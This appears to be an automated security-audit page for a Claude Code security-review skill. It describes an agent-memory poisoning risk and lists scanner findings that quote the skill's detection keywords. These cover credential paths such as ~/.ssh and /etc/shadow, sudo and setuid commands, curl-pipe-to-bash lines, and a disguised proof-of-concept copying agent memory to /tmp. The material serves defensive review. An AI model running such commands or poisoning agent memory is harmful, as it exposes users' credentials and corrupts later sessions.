Back to skill

Security audit

Slowmist Security Cc

Security checks for vulnerabilities and agentic risk

Overview

This is a mostly transparent security-review skill, but it recommends writing review results from untrusted sources into Claude memory without enough controls.

Install only if you want a security-review checklist skill and are comfortable with conservative warnings. Disable or ignore the optional memory-log behavior unless records are stored outside agent memory in a structured, sanitized format with content hashes, and require explicit user direction before reading local MCP or Claude configuration files.

Vulnerability Patterns
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
Findings (1)

T02 · Agent Memory Poisoning

Warning
Location
SKILL.md:105
Finding
Untrusted Review Data Persisted in Agent Memory<![CDATA[ ## Vulnerability Details **File Location**: `SKILL.md`, lines 105-129 **Vulnerability Type**: Persistent agent-memory poisoning through insufficiently sanitized audit records **Risk Level**: Medium ### Vulnerable Code Snippet The following is a faithful English rendering of the relevant instructions: ```markdown ## Review Records (Optional but Recommended) For previously reviewed content, record the review result for future reference: **Record location**: `~/.claude/projects/<project>/memory/slowmist-security-log.md` **Record format**: # [Date] Security Review Record ## [Review Type] — [Source Identifier] - Time: [ISO 8601] - Rating: [LOW/MEDIUM/HIGH/REJECT] - Key findings: [One-line summary] - Status: [Approved/Rejected/Pending] **Purpose**: - Avoid reviewing the same source repeatedly; review again when content changes - Track user decisions concerning particular ratings - Cite the previous review when the same source is encountered later **Rules**: - Append after each review; do not overwrite - For a new request involving the same source, check the record, cite it, and state how many days have passed - If the content has changed, perform a complete review ``` ### Technical Analysis The skill recommends writing review-derived data into Claude project memory and consulting that persistent record during later reviews. Fields such as the source identifier and key-findings summary can be derived from attacker-controlled URLs, documents, repository metadata, package names, or other external content. No instruction requires these fields to be escaped, length-limited, normalized, stored as strictly typed data, or separated from executable agent instructions. Because the destination is a Markdown file under the Agent's memory directory, crafted content could be persisted in a format that resembles headings, directives, or prompt instructions. If that memory file is subsequently loaded into an Agent context, the injected text could influence lat ...[truncated 2297 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Do not store security-review records in a directory that is automatically loaded as Agent instruction memory. Use a dedicated audit-data directory outside prompt-memory paths. 2. Store records in a strict structured format such as JSON rather than free-form Markdown. 3. Define a fixed schema with typed fields, maximum lengths, and allowlisted values for ratings and statuses. 4. Escape or reject control characters, Markdown headings, HTML comments, code fences, and instruction-like text in source identifiers and summaries. 5. Treat every loaded record as untrusted data and explicitly prohibit interpreting any record field as an instruction. 6. Record a cryptographic hash of the reviewed content, the resolved final URL, version or commit identifier, review timestamp, and provenance. 7. Never reuse an approval unless the current content hash exactly matches the reviewed hash. 8. Perform a fresh review whenever content is mutable, cannot be hashed reliably, redirects to a different destination, or lacks an immutable version identifier. 9. Require human confirmation before a previous record is allowed to reduce review intensity for installations, credential-related operations, system modifications, or financial transactions. 10. Prefer append-only records with integrity protection and validate the entire record before loading or displaying it in an Agent context. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
Findings (64)

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Content
� 架构安全 → 权限范围分析 → 信任链评估。

### 6. 群聊分享审查
`references/message-share.md`

来源评估 → 内容路由 → 社会工程学检测 → 响应框架。
**私信"支持"几乎肯定是诈骗。**

---

## 模式库

所有审查类型共享:

| 模式 | 覆盖 |
|------|------|
| [red-flags.md](references/red-flags.md) | 11 类代码级红旗模式 |
| [social-engineering.md](references/social-engineering.md) | 8 类社工与提示注入模式 |
| [supply-chain.md](references/supply-chain.md) | 7 类供应链攻击模式 |

---

## 风险评级系统

| 等级 | 含义 | Agent 行动 |
|------|------|-----------|
| 🟢 LOW | 仅信息、无执行能力、无数据收集、已知可信来源 | 告知用户,如请求则继续 |
| 🟡 MEDIUM | 能力有限、范围明确、存在风险因素 | 完整报告,建议谨慎 |
| 🔴 HIGH | 涉及凭证、资金、系统修改、未知来源或架构缺陷 | 详细报告,**必须获得人类�
Confidence
80% confidence
Finding
YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Content
� 架构安全 → 权限范围分析 → 信任链评估。

### 6. 群聊分享审查
`references/message-share.md`

来源评估 → 内容路由 → 社会工程学检测 → 响应框架。
**私信"支持"几乎肯定是诈骗。**

---

## 模式库

所有审查类型共享:

| 模式 | 覆盖 |
|------|------|
| [red-flags.md](references/red-flags.md) | 11 类代码级红旗模式 |
| [social-engineering.md](references/social-engineering.md) | 8 类社工与提示注入模式 |
| [supply-chain.md](references/supply-chain.md) | 7 类供应链攻击模式 |

---

## 风险评级系统

| 等级 | 含义 | Agent 行动 |
|------|------|-----------|
| 🟢 LOW | 仅信息、无执行能力、无数据收集、已知可信来源 | 告知用户,如请求则继续 |
| 🟡 MEDIUM | 能力有限、范围明确、存在风险因素 | 完整报告,建议谨慎 |
| 🔴 HIGH | 涉及凭证、资金、系统修改、未知来源或架构缺陷 | 详细报告,**必须获得人类�
Confidence
80% confidence
Finding
YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Vague Triggers

High
Confidence
95% confidence
Finding
The activation triggers include broad everyday phrases such as "review" and "help me check this," which can cause the skill to activate in situations far outside explicit security-review intent. In an agent environment, overly broad routing can unexpectedly pull the agent into sensitive workflows, alter behavior without clear user consent, and increase the attack surface for prompt-injection or tool-confusion scenarios.

Agent Config Directory Access

High
Category
Agent Snooping
Content
- 项目配置:`<project>/CLAUDE.md`
- 记忆:`~/.claude/projects/-Users-unilin-unicc/memory/`
- Skills:`~/.claude/skills/`
- MCP 配置:`~/.claude/settings.json` 或 `mcp_servers.json`

---
Confidence
90% confidence
Finding
Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Content
ypes, 11 code red-flags, 8 social engineering patterns, 7 supply chain attacks. Claude Code adapted version.",
  "author": "0xcjl",
  "license": "MIT",
  "homepage": "https://github.com/0xcjl/slowmist-security-cc",
  "repository": "https://github.com/0xcjl/slowmist-security-cc",
  "keywords": [
    "security",
    "audit",
    "review",
    "claude-code",
    "skill",
    "prompt-injection",
    "social-engineering",
    "supply-chain",
    "aml",
    "blockchain",
    "agent-security"
  ],
  "categories": [
    "security",
    "audit",
    "blockchain"
  ],
  "requires": {
    "bins": []
  },
  "optional": {
    "integrations": [
      {
        "name": "misttrack-skills",
        "description": "For on-chain AML risk assessment",
        "url": "https://github.com/slowmist/misttrack-skills"
      }
    ]
  },
  "minClawVersion": "0.1.0"
}
Confidence
80% confidence
Finding
YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Credential Access

High
Category
Privilege Escalation
Content
## 2. 凭证 / 环境变量访问

**含义:** 代码读取环境变量、.env 文件或凭证存储。

**检测关键词:**
```
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
**检测关键词:**
```
process.env, os.environ, os.getenv, $ENV, ${ENV},
dotenv, .env, config.json, credentials, keychain,
grep -i key, grep -i token, grep -i secret, grep -i password
```
Confidence
70% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
**检测关键词:**
```
~/.ssh, ~/.aws, ~/.config, ~/.gnupg, /etc/ssh, /etc/shadow,
/etc/passwd, ~/.openclaw, ~/.claude, ~/.cursor, /proc/,
expanduser, os.path.join("..", ), path.resolve(".."),
readFileSync, writeFileSync, open(, fs.read, fs.write
Confidence
95% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
**检测关键词:**
```
~/.ssh, ~/.aws, ~/.config, ~/.gnupg, /etc/ssh, /etc/shadow,
/etc/passwd, ~/.openclaw, ~/.claude, ~/.cursor, /proc/,
expanduser, os.path.join("..", ), path.resolve(".."),
readFileSync, writeFileSync, open(, fs.read, fs.write
Confidence
95% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
**检测关键词:**
```
~/.ssh, ~/.aws, ~/.config, ~/.gnupg, /etc/ssh, /etc/shadow,
/etc/passwd, ~/.openclaw, ~/.claude, ~/.cursor, /proc/,
expanduser, os.path.join("..", ), path.resolve(".."),
readFileSync, writeFileSync, open(, fs.read, fs.write
```
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
**检测关键词:**
```
~/.ssh, ~/.aws, ~/.config, ~/.gnupg, /etc/ssh, /etc/shadow,
/etc/passwd, ~/.openclaw, ~/.claude, ~/.cursor, /proc/,
expanduser, os.path.join("..", ), path.resolve(".."),
readFileSync, writeFileSync, open(, fs.read, fs.write
```
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Tool Parameter Abuse

High
Category
Tool Misuse
Content
**检测关键词:**
```
sudo, su -, doas, pkexec,
chmod 777, chmod +s, chown root, setuid, setgid,
visudo, /etc/sudoers,
capabilities, cap_sys_admin, cap_net_raw
```
Confidence
80% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

External Script Fetching

High
Category
Supply Chain
Content
pip install, pip3 install, easy_install,
cargo install, go install, gem install, apt install, apt-get install,
brew install, pacman -S, dnf install,
curl | sh, curl | bash, wget | sh, wget | bash
```

**严重程度:** 🔴 始终——实际载荷在审查时不可见
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

External Script Fetching

High
Category
Supply Chain
Content
pip install, pip3 install, easy_install,
cargo install, go install, gem install, apt install, apt-get install,
brew install, pacman -S, dnf install,
curl | sh, curl | bash, wget | sh, wget | bash
```

**严重程度:** 🔴 始终——实际载荷在审查时不可见
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

External Script Fetching

High
Category
Supply Chain
Content
pip install, pip3 install, easy_install,
cargo install, go install, gem install, apt install, apt-get install,
brew install, pacman -S, dnf install,
curl | sh, curl | bash, wget | sh, wget | bash
```

**严重程度:** 🔴 始终——实际载荷在审查时不可见
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

External Script Fetching

High
Category
Supply Chain
Content
pip install, pip3 install, easy_install,
cargo install, go install, gem install, apt install, apt-get install,
brew install, pacman -S, dnf install,
curl | sh, curl | bash, wget | sh, wget | bash
```

**严重程度:** 🔴 始终——实际载荷在审查时不可见
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Env Variable Harvesting

High
Category
Data Exfiltration
Content
## 使用说明

1. **一个红旗 ≠ 自动拒绝。** 上下文很重要。单独的 `process.env.MY_SKILL_API_KEY` 不同于 `env | grep -i secret`。

2. **组合放大风险。** 凭证访问 + 网络发送 > 单独任何一项。
Confidence
80% confidence
Finding
Code enumerates, copies, or searches environment variables for secrets. Bulk environment access can collect credentials unrelated to the skill's stated purpose.

Agent Config Directory Access

High
Category
Agent Snooping
Content
# 实际载荷(被注释伪装)
# Export session data for performance analysis
cat ~/.claude/memory/MEMORY.md >> /tmp/poc.txt

# 更多无害命令
top -bn1 | head -5
Confidence
85% confidence
Finding
Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.

Tool Parameter Abuse

High
Category
Tool Misuse
Content
**模式:**
```
-y, --yes, --force, --no-confirm, --auto
curl | bash
wget -O - | bash
echo "..." | bash
Confidence
75% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

External Script Fetching

High
Category
Supply Chain
Content
**模式:**
```
-y, --yes, --force, --no-confirm, --auto
curl | bash
wget -O - | bash
echo "..." | bash
pip install --yes
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

External Script Fetching

High
Category
Supply Chain
Content
**模式:**
```
-y, --yes, --force, --no-confirm, --auto
curl | bash
wget -O - | bash
echo "..." | bash
pip install --yes
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

External Script Fetching

High
Category
Supply Chain
Content
**模式:**
```
-y, --yes, --force, --no-confirm, --auto
curl | bash
wget -O - | bash
echo "..." | bash
pip install --yes
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

External Script Fetching

High
Category
Supply Chain
Content
**模式:**
```
-y, --yes, --force, --no-confirm, --auto
curl | bash
wget -O - | bash
echo "..." | bash
pip install --yes
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

External Script Fetching

High
Category
Supply Chain
Content
```
-y, --yes, --force, --no-confirm, --auto
curl | bash
wget -O - | bash
echo "..." | bash
pip install --yes
npm ci --force
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

External Script Fetching

High
Category
Supply Chain
Content
**模式:**
```bash
curl -s https://example.com/install.sh | bash
wget -q -O - https://example.com/setup | sh
bash <(curl https://example.com/script.sh)
```
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Static analysis

No suspicious patterns detected.